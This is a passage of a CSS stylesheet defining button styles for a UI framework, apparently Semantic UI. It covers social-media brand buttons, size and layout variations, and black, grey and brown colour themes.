none;\n}\n\n.ui.facebook.button:active {\n  background-color: #2d4373;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Twitter */\n\n.ui.twitter.button {\n  background-color: #0084b4;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.twitter.button:hover {\n  background-color: #00719b;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.twitter.button:active {\n  background-color: #005f81;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Google Plus */\n\n.ui.google.plus.button {\n  background-color: #dc4a38;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.google.plus.button:hover {\n  background-color: #de321d;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.google.plus.button:active {\n  background-color: #bf3322;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Linked In */\n\n.ui.linkedin.button {\n  background-color: #1f88be;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.linkedin.button:hover {\n  background-color: #147baf;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.linkedin.button:active {\n  background-color: #186992;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* YouTube */\n\n.ui.youtube.button {\n  background-color: #cc181e;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.youtube.button:hover {\n  background-color: #bd0d13;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.youtube.button:active {\n  background-color: #9e1317;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Instagram */\n\n.ui.instagram.button {\n  background-color: #49769c;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.instagram.button:hover {\n  background-color: #3d698e;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.instagram.button:active {\n  background-color: #395c79;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Pinterest */\n\n.ui.pinterest.button {\n  background-color: #00aced;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.pinterest.button:hover {\n  background-color: #0099d4;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.pinterest.button:active {\n  background-color: #0087ba;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* VK */\n\n.ui.vk.button {\n  background-color: #4D7198;\n  color: #ffffff;\n  background-image: none;\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.vk.button:hover {\n  background-color: #41648a;\n  color: #ffffff;\n}\n\n.ui.vk.button:active {\n  background-color: #3c5876;\n  color: #ffffff;\n}\n\n/*--------------\n     Icon\n---------------*/\n\n.ui.button > .icon {\n  height: 0.92857143em;\n  opacity: 0.8;\n  margin: 0em 0.42857143em 0em -0.21428571em;\n  -webkit-transition: opacity 0.1s ease;\n  transition: opacity 0.1s ease;\n  vertical-align: '';\n  color: '';\n}\n\n.ui.button > .right.icon {\n  margin: 0em -0.21428571em 0em 0.42857143em;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n       Floated\n--------------------*/\n\n.ui[class*=\"left floated\"].buttons,\n.ui[class*=\"left floated\"].button {\n  float: left;\n  margin-left: 0em;\n  margin-right: 0.25em;\n}\n\n.ui[class*=\"right floated\"].buttons,\n.ui[class*=\"right floated\"].button {\n  float: right;\n  margin-right: 0em;\n  margin-left: 0.25em;\n}\n\n/*-------------------\n       Compact\n--------------------*/\n\n.ui.compact.buttons .button,\n.ui.compact.button {\n  padding: 0.58928571em 1.125em 0.58928571em;\n}\n\n.ui.compact.icon.buttons .button,\n.ui.compact.icon.button {\n  padding: 0.58928571em 0.58928571em 0.58928571em;\n}\n\n.ui.compact.labeled.icon.buttons .button,\n.ui.compact.labeled.icon.button {\n  padding: 0.58928571em 3.69642857em 0.58928571em;\n}\n\n/*-------------------\n        Sizes\n--------------------*/\n\n.ui.mini.buttons .button,\n.ui.mini.buttons .or,\n.ui.mini.button {\n  font-size: 0.71428571rem;\n}\n\n.ui.tiny.buttons .button,\n.ui.tiny.buttons .or,\n.ui.tiny.button {\n  font-size: 0.85714286rem;\n}\n\n.ui.small.buttons .button,\n.ui.small.buttons .or,\n.ui.small.button {\n  font-size: 0.92857143rem;\n}\n\n.ui.buttons .button,\n.ui.buttons .or,\n.ui.button {\n  font-size: 1rem;\n}\n\n.ui.large.buttons .button,\n.ui.large.buttons .or,\n.ui.large.button {\n  font-size: 1.14285714rem;\n}\n\n.ui.big.buttons .button,\n.ui.big.buttons .or,\n.ui.big.button {\n  font-size: 1.28571429rem;\n}\n\n.ui.huge.buttons .button,\n.ui.huge.buttons .or,\n.ui.huge.button {\n  font-size: 1.42857143rem;\n}\n\n.ui.massive.buttons .button,\n.ui.massive.buttons .or,\n.ui.massive.button {\n  font-size: 1.71428571rem;\n}\n\n/*--------------\n    Icon Only\n---------------*/\n\n.ui.icon.buttons .button,\n.ui.icon.button {\n  padding: 0.78571429em 0.78571429em 0.78571429em;\n}\n\n.ui.icon.buttons .button > .icon,\n.ui.icon.button > .icon {\n  opacity: 0.9;\n  margin: 0em;\n  vertical-align: top;\n}\n\n/*-------------------\n        Basic\n--------------------*/\n\n.ui.basic.buttons .button,\n.ui.basic.button {\n  background: transparent none !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n  font-weight: normal;\n  border-radius: 0.28571429rem;\n  text-transform: none;\n  text-shadow: none !important;\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.basic.buttons {\n  box-shadow: none;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  border-radius: 0.28571429rem;\n}\n\n.ui.basic.buttons .button {\n  border-radius: 0em;\n}\n\n.ui.basic.buttons .button:hover,\n.ui.basic.button:hover {\n  background: #ffffff !important;\n  color: rgba(0, 0, 0, 0.8) !important;\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.35) inset, 0px 0px 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.basic.buttons .button:focus,\n.ui.basic.button:focus {\n  background: #ffffff !important;\n  color: rgba(0, 0, 0, 0.8) !important;\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.35) inset, 0px 0px 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.basic.buttons .button:active,\n.ui.basic.button:active {\n  background: #f8f8f8 !important;\n  color: rgba(0, 0, 0, 0.9) !important;\n  box-shadow: 0px 0px 0px 1px rgba(0, 0, 0, 0.15) inset, 0px 1px 4px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.basic.buttons .active.button,\n.ui.basic.active.button {\n  background: rgba(0, 0, 0, 0.05) !important;\n  box-shadow: '' !important;\n  color: rgba(0, 0, 0, 0.95);\n  box-shadow: rgba(34, 36, 38, 0.35);\n}\n\n.ui.basic.buttons .active.button:hover,\n.ui.basic.active.button:hover {\n  background-color: rgba(0, 0, 0, 0.05);\n}\n\n/* Vertical */\n\n.ui.basic.buttons .button:hover {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.35) inset, 0px 0px 0px 0px rgba(34, 36, 38, 0.15) inset inset;\n}\n\n.ui.basic.buttons .button:active {\n  box-shadow: 0px 0px 0px 1px rgba(0, 0, 0, 0.15) inset, 0px 1px 4px 0px rgba(34, 36, 38, 0.15) inset inset;\n}\n\n.ui.basic.buttons .active.button {\n  box-shadow: rgba(34, 36, 38, 0.35) inset;\n}\n\n/* Standard Basic Inverted */\n\n.ui.basic.inverted.buttons .button,\n.ui.basic.inverted.button {\n  background-color: transparent !important;\n  color: #f9fafb !important;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n}\n\n.ui.basic.inverted.buttons .button:hover,\n.ui.basic.inverted.button:hover {\n  color: #ffffff !important;\n  box-shadow: 0px 0px 0px 2px #ffffff inset !important;\n}\n\n.ui.basic.inverted.buttons .button:focus,\n.ui.basic.inverted.button:focus {\n  color: #ffffff !important;\n  box-shadow: 0px 0px 0px 2px #ffffff inset !important;\n}\n\n.ui.basic.inverted.buttons .button:active,\n.ui.basic.inverted.button:active {\n  background-color: rgba(255, 255, 255, 0.08) !important;\n  color: #ffffff !important;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.9) inset !important;\n}\n\n.ui.basic.inverted.buttons .active.button,\n.ui.basic.inverted.active.button {\n  background-color: rgba(255, 255, 255, 0.08);\n  color: #ffffff;\n  text-shadow: none;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.7) inset;\n}\n\n.ui.basic.inverted.buttons .active.button:hover,\n.ui.basic.inverted.active.button:hover {\n  background-color: rgba(255, 255, 255, 0.15);\n  box-shadow: 0px 0px 0px 2px #ffffff inset !important;\n}\n\n/* Basic Group */\n\n.ui.basic.buttons .button {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: none;\n}\n\n.ui.basic.vertical.buttons .button {\n  border-left: none;\n}\n\n.ui.basic.vertical.buttons .button {\n  border-left-width: 0px;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.basic.vertical.buttons .button:first-child {\n  border-top-width: 0px;\n}\n\n/*--------------\n  Labeled Icon\n---------------*/\n\n.ui.labeled.icon.buttons .button,\n.ui.labeled.icon.button {\n  position: relative;\n  padding-left: 4.07142857em !important;\n  padding-right: 1.5em !important;\n}\n\n/* Left Labeled */\n\n.ui.labeled.icon.buttons > .button > .icon,\n.ui.labeled.icon.button > .icon {\n  position: absolute;\n  height: 100%;\n  line-height: 1;\n  width: 2.57142857em;\n  background-color: rgba(0, 0, 0, 0.05);\n  text-align: center;\n  color: '';\n  border-radius: 0.28571429rem 0px 0px 0.28571429rem;\n  box-shadow: -1px 0px 0px 0px transparent inset;\n}\n\n/* Left Labeled */\n\n.ui.labeled.icon.buttons > .button > .icon,\n.ui.labeled.icon.button > .icon {\n  top: 0em;\n  left: 0em;\n}\n\n/* Right Labeled */\n\n.ui[class*=\"right labeled\"].icon.button {\n  padding-right: 4.07142857em !important;\n  padding-left: 1.5em !important;\n}\n\n.ui[class*=\"right labeled\"].icon.button > .icon {\n  left: auto;\n  right: 0em;\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n  box-shadow: 1px 0px 0px 0px transparent inset;\n}\n\n.ui.labeled.icon.buttons > .button > .icon:before,\n.ui.labeled.icon.button > .icon:before,\n.ui.labeled.icon.buttons > .button > .icon:after,\n.ui.labeled.icon.button > .icon:after {\n  display: block;\n  position: absolute;\n  width: 100%;\n  top: 50%;\n  text-align: center;\n  margin-top: -0.5em;\n}\n\n.ui.labeled.icon.buttons .button > .icon {\n  border-radius: 0em;\n}\n\n.ui.labeled.icon.buttons .button:first-child > .icon {\n  border-top-left-radius: 0.28571429rem;\n  border-bottom-left-radius: 0.28571429rem;\n}\n\n.ui.labeled.icon.buttons .button:last-child > .icon {\n  border-top-right-radius: 0.28571429rem;\n  border-bottom-right-radius: 0.28571429rem;\n}\n\n.ui.vertical.labeled.icon.buttons .button:first-child > .icon {\n  border-radius: 0em;\n  border-top-left-radius: 0.28571429rem;\n}\n\n.ui.vertical.labeled.icon.buttons .button:last-child > .icon {\n  border-radius: 0em;\n  border-bottom-left-radius: 0.28571429rem;\n}\n\n/* Fluid Labeled */\n\n.ui.fluid[class*=\"left labeled\"].icon.button,\n.ui.fluid[class*=\"right labeled\"].icon.button {\n  padding-left: 1.5em !important;\n  padding-right: 1.5em !important;\n}\n\n/*--------------\n     Toggle\n---------------*/\n\n/* Toggle (Modifies active state to give affordances) */\n\n.ui.toggle.buttons .active.button,\n.ui.buttons .button.toggle.active,\n.ui.button.toggle.active {\n  background-color: #21ba45 !important;\n  box-shadow: none !important;\n  text-shadow: none;\n  color: #ffffff !important;\n}\n\n.ui.button.toggle.active:hover {\n  background-color: #16ab39 !important;\n  text-shadow: none;\n  color: #ffffff !important;\n}\n\n/*--------------\n    Circular\n---------------*/\n\n.ui.circular.button {\n  border-radius: 10em;\n}\n\n.ui.circular.button > .icon {\n  width: 1em;\n  vertical-align: baseline;\n}\n\n/*-------------------\n      Or Buttons\n--------------------*/\n\n.ui.buttons .or {\n  position: relative;\n  width: 0.3em;\n  height: 2.57142857em;\n  z-index: 3;\n}\n\n.ui.buttons .or:before {\n  position: absolute;\n  text-align: center;\n  border-radius: 500rem;\n  content: 'or';\n  top: 50%;\n  left: 50%;\n  background-color: #ffffff;\n  text-shadow: none;\n  margin-top: -0.89285714em;\n  margin-left: -0.89285714em;\n  width: 1.78571429em;\n  height: 1.78571429em;\n  line-height: 1.78571429em;\n  color: rgba(0, 0, 0, 0.4);\n  font-style: normal;\n  font-weight: bold;\n  box-shadow: 0px 0px 0px 1px transparent inset;\n}\n\n.ui.buttons .or[data-text]:before {\n  content: attr(data-text);\n}\n\n/* Fluid Or */\n\n.ui.fluid.buttons .or {\n  width: 0em !important;\n}\n\n.ui.fluid.buttons .or:after {\n  display: none;\n}\n\n/*-------------------\n       Attached\n--------------------*/\n\n/* Singular */\n\n.ui.attached.button {\n  position: relative;\n  display: block;\n  margin: 0em;\n  border-radius: 0em;\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) !important;\n}\n\n/* Top / Bottom */\n\n.ui.attached.top.button {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.attached.bottom.button {\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n/* Left / Right */\n\n.ui.left.attached.button {\n  display: inline-block;\n  border-left: none;\n  text-align: right;\n  padding-right: 0.75em;\n  border-radius: 0.28571429rem 0em 0em 0.28571429rem;\n}\n\n.ui.right.attached.button {\n  display: inline-block;\n  text-align: left;\n  padding-left: 0.75em;\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n/* Plural */\n\n.ui.attached.buttons {\n  position: relative;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  border-radius: 0em;\n  width: auto !important;\n  z-index: 2;\n  margin-left: -1px;\n  margin-right: -1px;\n}\n\n.ui.attached.buttons .button {\n  margin: 0em;\n}\n\n.ui.attached.buttons .button:first-child {\n  border-radius: 0em;\n}\n\n.ui.attached.buttons .button:last-child {\n  border-radius: 0em;\n}\n\n/* Top / Bottom */\n\n.ui[class*=\"top attached\"].buttons {\n  margin-bottom: -1px;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui[class*=\"top attached\"].buttons .button:first-child {\n  border-radius: 0.28571429rem 0em 0em 0em;\n}\n\n.ui[class*=\"top attached\"].buttons .button:last-child {\n  border-radius: 0em 0.28571429rem 0em 0em;\n}\n\n.ui[class*=\"bottom attached\"].buttons {\n  margin-top: -1px;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui[class*=\"bottom attached\"].buttons .button:first-child {\n  border-radius: 0em 0em 0em 0.28571429rem;\n}\n\n.ui[class*=\"bottom attached\"].buttons .button:last-child {\n  border-radius: 0em 0em 0.28571429rem 0em;\n}\n\n/* Left / Right */\n\n.ui[class*=\"left attached\"].buttons {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  margin-right: 0em;\n  margin-left: -1px;\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n.ui[class*=\"left attached\"].buttons .button:first-child {\n  margin-left: -1px;\n  border-radius: 0em 0.28571429rem 0em 0em;\n}\n\n.ui[class*=\"left attached\"].buttons .button:last-child {\n  margin-left: -1px;\n  border-radius: 0em 0em 0.28571429rem 0em;\n}\n\n.ui[class*=\"right attached\"].buttons {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  margin-left: 0em;\n  margin-right: -1px;\n  border-radius: 0.28571429rem 0em 0em 0.28571429rem;\n}\n\n.ui[class*=\"right attached\"].buttons .button:first-child {\n  margin-left: -1px;\n  border-radius: 0.28571429rem 0em 0em 0em;\n}\n\n.ui[class*=\"right attached\"].buttons .button:last-child {\n  margin-left: -1px;\n  border-radius: 0em 0em 0em 0.28571429rem;\n}\n\n/*-------------------\n        Fluid\n--------------------*/\n\n.ui.fluid.buttons,\n.ui.button.fluid {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  width: 100%;\n}\n\n.ui.two.buttons {\n  width: 100%;\n}\n\n.ui.two.buttons > .button {\n  width: 50%;\n}\n\n.ui.three.buttons {\n  width: 100%;\n}\n\n.ui.three.buttons > .button {\n  width: 33.333%;\n}\n\n.ui.four.buttons {\n  width: 100%;\n}\n\n.ui.four.buttons > .button {\n  width: 25%;\n}\n\n.ui.five.buttons {\n  width: 100%;\n}\n\n.ui.five.buttons > .button {\n  width: 20%;\n}\n\n.ui.six.buttons {\n  width: 100%;\n}\n\n.ui.six.buttons > .button {\n  width: 16.666%;\n}\n\n.ui.seven.buttons {\n  width: 100%;\n}\n\n.ui.seven.buttons > .button {\n  width: 14.285%;\n}\n\n.ui.eight.buttons {\n  width: 100%;\n}\n\n.ui.eight.buttons > .button {\n  width: 12.500%;\n}\n\n.ui.nine.buttons {\n  width: 100%;\n}\n\n.ui.nine.buttons > .button {\n  width: 11.11%;\n}\n\n.ui.ten.buttons {\n  width: 100%;\n}\n\n.ui.ten.buttons > .button {\n  width: 10%;\n}\n\n.ui.eleven.buttons {\n  width: 100%;\n}\n\n.ui.eleven.buttons > .button {\n  width: 9.09%;\n}\n\n.ui.twelve.buttons {\n  width: 100%;\n}\n\n.ui.twelve.buttons > .button {\n  width: 8.3333%;\n}\n\n/* Fluid Vertical Buttons */\n\n.ui.fluid.vertical.buttons,\n.ui.fluid.vertical.buttons > .button {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  width: auto;\n}\n\n.ui.two.vertical.buttons > .button {\n  height: 50%;\n}\n\n.ui.three.vertical.buttons > .button {\n  height: 33.333%;\n}\n\n.ui.four.vertical.buttons > .button {\n  height: 25%;\n}\n\n.ui.five.vertical.buttons > .button {\n  height: 20%;\n}\n\n.ui.six.vertical.buttons > .button {\n  height: 16.666%;\n}\n\n.ui.seven.vertical.buttons > .button {\n  height: 14.285%;\n}\n\n.ui.eight.vertical.buttons > .button {\n  height: 12.500%;\n}\n\n.ui.nine.vertical.buttons > .button {\n  height: 11.11%;\n}\n\n.ui.ten.vertical.buttons > .button {\n  height: 10%;\n}\n\n.ui.eleven.vertical.buttons > .button {\n  height: 9.09%;\n}\n\n.ui.twelve.vertical.buttons > .button {\n  height: 8.3333%;\n}\n\n/*-------------------\n       Colors\n--------------------*/\n\n/*--- Black ---*/\n\n.ui.black.buttons .button,\n.ui.black.button {\n  background-color: #1b1c1d;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.black.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.black.buttons .button:hover,\n.ui.black.button:hover {\n  background-color: #27292a;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.black.buttons .button:focus,\n.ui.black.button:focus {\n  background-color: #2f3032;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.black.buttons .button:active,\n.ui.black.button:active {\n  background-color: #343637;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.black.buttons .active.button,\n.ui.black.buttons .active.button:active,\n.ui.black.active.button,\n.ui.black.button .active.button:active {\n  background-color: #0f0f10;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.black.buttons .button,\n.ui.basic.black.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.black.buttons .button:hover,\n.ui.basic.black.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #27292a inset !important;\n  color: #27292a !important;\n}\n\n.ui.basic.black.buttons .button:focus,\n.ui.basic.black.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #2f3032 inset !important;\n}\n\n.ui.basic.black.buttons .active.button,\n.ui.basic.black.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #0f0f10 inset !important;\n  color: #343637 !important;\n}\n\n.ui.basic.black.buttons .button:active,\n.ui.basic.black.button:active {\n  box-shadow: 0px 0px 0px 2px #343637 inset !important;\n  color: #343637 !important;\n}\n\n.ui.buttons > .basic.black.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.black.buttons .button,\n.ui.inverted.black.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #d4d4d5 inset !important;\n  color: #ffffff;\n}\n\n.ui.inverted.black.buttons .button:hover,\n.ui.inverted.black.button:hover,\n.ui.inverted.black.buttons .button:focus,\n.ui.inverted.black.button:focus,\n.ui.inverted.black.buttons .button.active,\n.ui.inverted.black.button.active,\n.ui.inverted.black.buttons .button:active,\n.ui.inverted.black.button:active {\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.black.buttons .button:hover,\n.ui.inverted.black.button:hover {\n  background-color: #000000;\n}\n\n.ui.inverted.black.buttons .button:focus,\n.ui.inverted.black.button:focus {\n  background-color: #000000;\n}\n\n.ui.inverted.black.buttons .active.button,\n.ui.inverted.black.active.button {\n  background-color: #000000;\n}\n\n.ui.inverted.black.buttons .button:active,\n.ui.inverted.black.button:active {\n  background-color: #000000;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.black.basic.buttons .button,\n.ui.inverted.black.buttons .basic.button,\n.ui.inverted.black.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.black.basic.buttons .button:hover,\n.ui.inverted.black.buttons .basic.button:hover,\n.ui.inverted.black.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #000000 inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.black.basic.buttons .button:focus,\n.ui.inverted.black.basic.buttons .button:focus,\n.ui.inverted.black.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #000000 inset !important;\n  color: #545454 !important;\n}\n\n.ui.inverted.black.basic.buttons .active.button,\n.ui.inverted.black.buttons .basic.active.button,\n.ui.inverted.black.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #000000 inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.black.basic.buttons .button:active,\n.ui.inverted.black.buttons .basic.button:active,\n.ui.inverted.black.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #000000 inset !important;\n  color: #ffffff !important;\n}\n\n/*--- Grey ---*/\n\n.ui.grey.buttons .button,\n.ui.grey.button {\n  background-color: #767676;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.grey.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.grey.buttons .button:hover,\n.ui.grey.button:hover {\n  background-color: #838383;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.grey.buttons .button:focus,\n.ui.grey.button:focus {\n  background-color: #8a8a8a;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.grey.buttons .button:active,\n.ui.grey.button:active {\n  background-color: #909090;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.grey.buttons .active.button,\n.ui.grey.buttons .active.button:active,\n.ui.grey.active.button,\n.ui.grey.button .active.button:active {\n  background-color: #696969;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.grey.buttons .button,\n.ui.basic.grey.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.grey.buttons .button:hover,\n.ui.basic.grey.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #838383 inset !important;\n  color: #838383 !important;\n}\n\n.ui.basic.grey.buttons .button:focus,\n.ui.basic.grey.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #8a8a8a inset !important;\n}\n\n.ui.basic.grey.buttons .active.button,\n.ui.basic.grey.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #696969 inset !important;\n  color: #909090 !important;\n}\n\n.ui.basic.grey.buttons .button:active,\n.ui.basic.grey.button:active {\n  box-shadow: 0px 0px 0px 2px #909090 inset !important;\n  color: #909090 !important;\n}\n\n.ui.buttons > .basic.grey.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.grey.buttons .button,\n.ui.inverted.grey.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #d4d4d5 inset !important;\n  color: #ffffff;\n}\n\n.ui.inverted.grey.buttons .button:hover,\n.ui.inverted.grey.button:hover,\n.ui.inverted.grey.buttons .button:focus,\n.ui.inverted.grey.button:focus,\n.ui.inverted.grey.buttons .button.active,\n.ui.inverted.grey.button.active,\n.ui.inverted.grey.buttons .button:active,\n.ui.inverted.grey.button:active {\n  box-shadow: none !important;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.inverted.grey.buttons .button:hover,\n.ui.inverted.grey.button:hover {\n  background-color: #cfd0d2;\n}\n\n.ui.inverted.grey.buttons .button:focus,\n.ui.inverted.grey.button:focus {\n  background-color: #c7c9cb;\n}\n\n.ui.inverted.grey.buttons .active.button,\n.ui.inverted.grey.active.button {\n  background-color: #cfd0d2;\n}\n\n.ui.inverted.grey.buttons .button:active,\n.ui.inverted.grey.button:active {\n  background-color: #c2c4c5;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.grey.basic.buttons .button,\n.ui.inverted.grey.buttons .basic.button,\n.ui.inverted.grey.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.grey.basic.buttons .button:hover,\n.ui.inverted.grey.buttons .basic.button:hover,\n.ui.inverted.grey.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #cfd0d2 inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.grey.basic.buttons .button:focus,\n.ui.inverted.grey.basic.buttons .button:focus,\n.ui.inverted.grey.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #c7c9cb inset !important;\n  color: #dcddde !important;\n}\n\n.ui.inverted.grey.basic.buttons .active.button,\n.ui.inverted.grey.buttons .basic.active.button,\n.ui.inverted.grey.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #cfd0d2 inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.grey.basic.buttons .button:active,\n.ui.inverted.grey.buttons .basic.button:active,\n.ui.inverted.grey.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #c2c4c5 inset !important;\n  color: #ffffff !important;\n}\n\n/*--- Brown ---*/\n\n.ui.brown.buttons .button,\n.ui.brown.button {\n  background-color: #a5673f;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.brown.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.brown.buttons .button:hover,\n.ui.brown.button:hover {\n  background-color: #975b33;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.brown.buttons .button:focus,\n.ui.brown.button:focus {\n  background-color: #90532b;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.brown.buttons .button:active,\n.ui.brown.button:active {\n  background-color: #805031;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.brown.buttons .active.button,\n.ui.brown.buttons .active.button:active,\n.ui.brown.active.button,\n.ui.brown.button .active.button:active {\n  background-color: #995a31;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.brown.buttons .button,\n.ui.basic.brown.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.brown.buttons .button:hover,\n.ui.basic.brown.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #975b33 inset !important;\n  color: #975b33 !important;\n}\n\n.ui.basic.brown.buttons .button:focus,\n.ui.basic.brown.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #90532b inset !important;\n}\n\n.ui.basic.brown.buttons .active.button,\n.ui.basic.brown.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #995a31 inset !important;\n  color: #805031 !important;\n}\n\n.ui.basic.brown.buttons .button:active,\n.ui.basic.brown.button:active {\n  box-shadow: 0px 0px 0px 2px #805031 inset !important;\n  color: #805031 !important;\n}\n\n.ui.buttons > .basic.brown.button:not(:first-child) {\n  margin-left: 